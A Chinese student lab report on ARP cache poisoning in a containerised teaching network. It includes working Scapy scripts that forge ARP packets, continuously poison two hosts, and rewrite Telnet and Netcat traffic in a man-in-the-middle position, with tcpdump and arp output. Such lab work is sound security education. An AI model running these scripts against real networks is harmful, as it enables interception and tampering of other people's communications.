西南科技大学

网络攻击与防御
实验报告

实验题目：ARP 缓存中毒攻击

学生姓名：

学生学号：

一、 实验作业题目

1. ARP 欺骗
2. 发送 ARP request
3. 发送 ARP reply
4. 发送 ARP gratuitous message
5. 基于 ARP 缓存中毒对 Telnet 进行中间人攻击
6. 基于 ARP 缓存中毒对 Netcat 进行中间人攻击

二、 实验思路

容器启动后，查看容器信息

```
[03/12/25]seed@VM:~/Desktop$ dockps
cd30ff456c71  A-10.9.0.5
f9e66388784d  M-10.9.0.105
ea353459991d  B-10.9.0.6
```

ARP 欺骗

HostA 和 HostB 的 arp 缓存表初始都为空，在 HostA 中监听网络接口 eth0，在 HostB ping HostA

```
root@cd30ff456c71:/# arp -n
root@cd30ff456c71:/# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
06:28:23.569111 ARP, Request who-has 10.9.0.5 tell 10.9.0.6, length 28
06:28:23.569212 ARP, Reply 10.9.0.5 is-at 02:42:0a:09:00:05, length 28
06:28:23.569286 IP 10.9.0.6 > 10.9.0.5: ICMP echo request, id 27, seq 1, length
64
06:28:23.569312 IP 10.9.0.5 > 10.9.0.6: ICMP echo reply, id 27, seq 1, length 64
06:28:24.571423 IP 10.9.0.6 > 10.9.0.5: ICMP echo request, id 27, seq 2, length
64
```

由于 arp 缓存表都为空，所以 HostB 会进行广播询问“who has

10.9.0.5 的 mac 地址”，HostA 收到广播后进行回复“10.9.0.5 的 mac 地址是 02：42：0a：09：00：05”，然后进行通信。

检验 HostA 网卡的 mac 地址

```
root@cd30ff456c71:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.5  netmask 255.255.255.0  broadcast 10.9.0.255
        ether 02:42:0a:09:00:05  txqueuelen 0  (Ethernet)
        RX packets 61  bytes 6314 (6.3 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 6  bytes 476 (476.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

查看 HostB 的 arp 缓存表，发现多了一条记录

```
root@ea353459991d:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.5                 ether   02:42:0a:09:00:05   C                     eth0
```

HostA 也多了一条 arp 缓存

```
root@cd30ff456c71:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:06   C                     eth0
```

将 arp_request.py 放入共享文件夹中并打开容器 M 运行脚本，发现 HostA 中多了一条伪造的 arp 缓存

```
root@cd30ff456c71:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:06   C                     eth0
10.9.0.99                ether   aa:bb:cc:dd:ee:ff   C                     eth0
10.9.0.1                 ether   02:42:b7:8a:09:6b   C                     eth0
```

发送 ARP request

修改 arp_request.py，在 HostM 上构建一个 ARP 包，将 B 的 ip 地址指向 M 的 MAC 地址，并发送给 A

```
4 target_IP = "10.9.0.5"
5 target_MAC = "02:42:0a:09:00:05"
6
7 fake_IP = "10.9.0.6"
8 fake_MAC = "02:42:0a:09:00:69"
```

A 中的 arp 缓存表 10.9.0.6 ip 地址指向 M 的 MAC 地址

```
root@cd30ff456c71:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
10.9.0.99                ether   aa:bb:cc:dd:ee:ff   C                     eth0
```

发送 ARP reply

修改 arp_reply.py，在 HostM 上构建一个 ARP 包，将 B 的 ip 地址指向 M 的 MAC 地址，并发送给 A，并在下列两个场景中完成攻击，报告攻击结果并保存实验截图：

```python
#!/usr/bin/python3
from scapy.all import *

target_IP = "10.9.0.5"
target_MAC = "02:42:0a:09:00:05"

fake_IP = "10.9.0.6"
fake_MAC = "02:42:0a:09:00:69"
```

- 场景 1：B 的 ip 在 A 的缓存中

  发送 arp reply 后会更新 arp 缓存表

```
root@cd30ff456c71:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:06   C                     eth0
10.9.0.99                ether   aa:bb:cc:dd:ee:ff   C                     eth0
10.9.0.1                 ether   02:42:b7:8a:09:6b   C                     eth0
root@cd30ff456c71:/# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
07:04:43.301928 ARP, Reply 10.9.0.6 is-at 02:42:0a:09:00:69, length 28
^C
1 packet captured
1 packet received by filter
0 packets dropped by kernel
root@cd30ff456c71:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
10.9.0.99                ether   aa:bb:cc:dd:ee:ff   C                     eth0
10.9.0.1                 ether   02:42:b7:8a:09:6b   C                     eth0
```

- 场景 2：B 的 ip 不在 A 的缓存中

  使用 arp -d 10.9.0.6 删除主机 A 的 B 缓存，使用脚本后不会更新 arp 缓存表

```
root@cd30ff456c71:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.99                ether   aa:bb:cc:dd:ee:ff   C                     eth0
10.9.0.1                 ether   02:42:b7:8a:09:6b   C                     eth0
root@cd30ff456c71:/# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
07:30:02.058027 ARP, Reply 10.9.0.6 is-at 02:42:0a:09:00:69, length 28
^C
1 packet captured
1 packet received by filter
0 packets dropped by kernel
root@cd30ff456c71:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.99                ether   aa:bb:cc:dd:ee:ff   C                     eth0
10.9.0.1                 ether   02:42:b7:8a:09:6b   C                     eth0
```

发送 ARP gratuitous message

修改 arp_gratuitous.py，在 HostM 上构建一个 ARP 包，将 B 的 ip 地址指向 M 的 MAC 地址

```
1 #!/usr/bin/python3
2 from scapy.all import *
3
4 fake_IP = "10.9.0.6"
5 fake_MAC = "02:42:0a:09:00:69"
6 broadcast = "ff:ff:ff:ff:ff:ff"
7
8 # Construct the Ether header
9 ether = Ether()
10 ether.dst = broadcast  广播地址
11 ether.src = fake_MAC
12
13 # Construct the ARP packet
14 arp = ARP()
15 arp.hwsrc = fake_MAC
16 arp.psrc = fake_IP
17
18 arp.hwdst = broadcast
19 arp.pdst = fake_IP      源 IP 地址和目的 IP 地址相同
20
21 arp.op = 1 # 1 for ARP request; 2 for ARP reply
22                          没有回复
23 frame = ether/arp
24 sendp(frame, iface="eth0", verbose=False)
```

- 场景 1：B 的 ip 在 A 的缓存中

使用 arp_gratuitous.py 后会更新 arp 缓存表

```
root@cd30ff456c71:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:06   C                     eth0
10.9.0.99                ether   aa:bb:cc:dd:ee:ff   C                     eth0
10.9.0.1                 ether   02:42:b7:8a:09:6b   C                     eth0
root@cd30ff456c71:/# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
07:22:28.240692 ARP, Request who-has 10.9.0.6 (ff:ff:ff:ff:ff:ff) tell 10.9.0.6,
 length 28
^C
1 packet captured
1 packet received by filter
0 packets dropped by kernel
root@cd30ff456c71:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
10.9.0.99                ether   aa:bb:cc:dd:ee:ff   C                     eth0
10.9.0.1                 ether   02:42:b7:8a:09:6b   C                     eth0
```

- 场景 2：B 的 ip 不在 A 的缓存中

  不会更新

```
root@cd30ff456c71:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.99                ether   aa:bb:cc:dd:ee:ff   C                     eth0
10.9.0.1                 ether   02:42:b7:8a:09:6b   C                     eth0
root@cd30ff456c71:/# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
07:21:43.460672 ARP, Request who-has 10.9.0.6 (ff:ff:ff:ff:ff:ff) tell 10.9.0.6,
 length 28
^C
1 packet captured
1 packet received by filter
0 packets dropped by kernel
root@cd30ff456c71:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.99                ether   aa:bb:cc:dd:ee:ff   C                     eth0
10.9.0.1                 ether   02:42:b7:8a:09:6b   C                     eth0
```

基于 ARP 缓存中毒对 Telnet 进行中间人攻击

步骤 1：在 M 中使用以下脚本，构造并发送 ARP 响应包，欺骗 Host-A，让它认为 Host-B 对应的 MAC 地址是 M 的

```python
from scapy.all import *
import time

def arp_spoof(target_ip, spoof_ip, target_mac, interface="eth0"):
    # Construct the ARP packet to tell the target that spoof_ip is at our MAC address
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=spoof_ip,
 hwsrc=get_if_hwaddr(interface), op='is-at')
    send(arp_response, iface=interface, verbose=False)
    print(f"[+] Sent to {target_ip}: {spoof_ip} is at {get_if_hwaddr(interface)}")

def spoof_arp():
    interface = "eth0"  # Ensure this matches your actual network interface name

    while True:
        # Spoof Host A that Host B's IP corresponds to Host M's MAC address
        arp_spoof("10.9.0.5", "10.9.0.6", "02:42:0a:09:00:05", interface)

        # Spoof Host B that Host A's IP corresponds to Host M's MAC address
        arp_spoof("10.9.0.6", "10.9.0.5", "02:42:0a:09:00:06", interface)

        time.sleep(5)  # Wait for 5 seconds before sending the next set of packets

if __name__ == "__main__":
    try:
        spoof_arp()
    except KeyboardInterrupt:
        print("\n[-] Stopping ARP spoofing...")
```

```
root@cd30ff456c71:/# tcpdump -i eth0 arp -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
08:07:22.002602 ARP, Request who-has 10.9.0.5 tell 10.9.0.105, length 28
08:07:22.002677 ARP, Reply 10.9.0.5 is-at 02:42:0a:09:00:05, length 28
08:07:22.010501 ARP, Reply 10.9.0.6 is-at 02:42:0a:09:00:69, length 28
08:07:22.018191 ARP, Request who-has 10.9.0.6 tell 10.9.0.105, length 28
08:07:27.032142 ARP, Reply 10.9.0.6 is-at 02:42:0a:09:00:69, length 28
08:07:32.043032 ARP, Reply 10.9.0.6 is-at 02:42:0a:09:00:69, length 28
08:07:37.056295 ARP, Reply 10.9.0.6 is-at 02:42:0a:09:00:69, length 28
08:07:42.066716 ARP, Reply 10.9.0.6 is-at 02:42:0a:09:00:69, length 28
```

攻击成功

步骤 2：主机 M 关闭 ip 转发后测试 A、B 连通性，测试发现 ping 请求失败，这是因为主机 M 未转发数据包，导致 Host A 和 Host B 无法直接通信。

```
root@cd30ff456c71:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
^C
--- 10.9.0.6 ping statistics ---
20 packets transmitted, 0 received, 100% packet loss, time 19459ms

root@ea353459991d:/# ping 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
^C
--- 10.9.0.5 ping statistics ---
17 packets transmitted, 0 received, 100% packet loss, time 16370ms
```

步骤 3：打开 ip 转发后测试，ping 请求成功，主机 M 作为中间人转发数据包，但不会篡改内容。

```
root@cd30ff456c71:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=63 time=0.417 ms
From 10.9.0.105: icmp_seq=2 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=2 ttl=63 time=0.257 ms
From 10.9.0.105: icmp_seq=3 Redirect Host(New nexthop: 10.9.0.6)
```

```
root@ea353459991d:/# ping 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
64 bytes from 10.9.0.5: icmp_seq=1 ttl=63 time=0.188 ms
64 bytes from 10.9.0.5: icmp_seq=2 ttl=63 time=0.154 ms
64 bytes from 10.9.0.5: icmp_seq=3 ttl=63 time=0.163 ms
From 10.9.0.105: icmp_seq=4 Redirect Host(New nexthop: 10.9.0.5)
```

步骤 4：启动 MITM 攻击

在确保 IP 转发开启前提下，在 Host-A 中使用 telnet 远程连接 Host-B，连接成功

```
root@cd30ff456c71:/# telnet 10.9.0.6
Trying 10.9.0.6...
Connected to 10.9.0.6.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
ea353459991d login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Wed Mar 12 08:12:44 UTC 2025 from A-10.9.0.5.net-10.9.0.0 on pts/2
seed@ea353459991d:~$ ifconfig
```

然后关闭 IP 转发功能，运行以下脚本

```
IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"

def spoof_pkt(pkt):
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B and pkt.haslayer(TCP) and pkt[TCP].payload:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)

        data = pkt[TCP].payload.load
        newdata = b'Z' * len(data)  # 替换为Z
        send(newpkt/newdata, verbose=0)

    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A and pkt.haslayer(TCP):
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        send(newpkt, verbose=0)

filter_bpf = f'tcp and (host {IP_A} or host {IP_B}) and (ether src {MAC_A} or ether src {MAC_B})'
sniff(iface='eth0', filter=filter_bpf, prn=spoof_pkt)
```

在 A 中输入任意消息都会变成“Z“

```
seed@ea353459991d:~$ ZZZZZZZ
```

基于 ARP 缓存中毒对 Netcat 进行中间人攻击

运行以下脚本

```python
IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"
# 假设要替换为的名字
NAME = "PanYiPei"

def spoof_pkt(pkt):
    if pkt.haslayer(IP) and pkt.haslayer(TCP):
        if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
            # Create a new packet based on the captured one.
            # 1) We need to delete the checksum in the IP & TCP headers,
            # because our modification will make them invalid.
            # Scapy will recalculate them if these fields are missing.
            # 2) We also delete the original TCP payload.
            newpkt = IP(bytes(pkt[IP]))
            del newpkt.chksum
            del newpkt[TCP].payload
            del newpkt[TCP].chksum

            if pkt[TCP].payload:
                data = pkt[TCP].payload.load  # The original payload data
                # 构造新的负载数据，将其替换为名字重复
                repeat_times = len(data) // len(NAME)
                remainder = len(data) % len(NAME)
                newdata = NAME * repeat_times + NAME[:remainder]
                send(newpkt / newdata, verbose=0)
            else:
                send(newpkt, verbose=0)
        elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
            # Create new packet based on the captured one
            # Do not make any change
            newpkt = IP(bytes(pkt[IP]))
            del newpkt.chksum
            del newpkt[TCP].chksum
            send(newpkt, verbose=0)

# 过滤规则，只捕获主机 A 和主机 B 之间的 TCP 数据包
f = f'tcp and ((host {IP_A} and dst {IP_B}) or (host {IP_B} and dst {IP_A}))'
print(f"[+] Filtering on interface eth0 with filter: {f}")
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

Host-A 和 Host-B 中建立 tcp 连接（使用 netcat 命令）后，在 A 中输入任意消息都会变成“PanYiPei”

```
root@cd30ff456c71:/# nc 10.9.0.6 9090
nihaopp
```

```
root@ea353459991d:/# nc -lp 9090
PanYiPei
```

三、 实验分析及总结（写自己在实践过程中遇到的问题及解决方法；本次实验体会、收获）

问题：运行 arp_request.py 报错

解决方法：运行脚本前需要给执行权限，使用“chomd +x xxx”命令之后再运行即可

```
root@f9e66388784d:/volumes# ./arp_request.py
bash: ./arp request.py: Permission denied
root@f9e66388784d:/volumes# chmod +x ./arp_request.py
root@f9e66388784d:/volumes# ./arp_request.py
.
Sent 1 packets.
```

问题：建立 telnet 时，a 远程连接上 b 后，在 A 的 Telnet 窗口中输入内容，无法被替换为“Z”

解决方法：源代码没有修改从 IP_A 发往 IP_B 的 TCP 数据包的实际负载内容，将 newdata = data 修改为 newdata = b'Z' * len(data) 即可，还修改了过滤器，确保它不会捕获自己的数据包

体会及收获：

通过本次实验，我深入理解了 ARP 协议的工作机制以及 ARP 欺骗的原理和实现方式。在实践中，遇到脚本权限和代码功能未实现等问题，通过赋予权限和修改代码得以解决，这提升了我的故障排除能力。同时，亲手完成多种 ARP 相关攻击实验，让我认识到网络安全的脆弱性：中间人攻击可轻易篡改通信内容，这凸显了网络安全防护的重要性。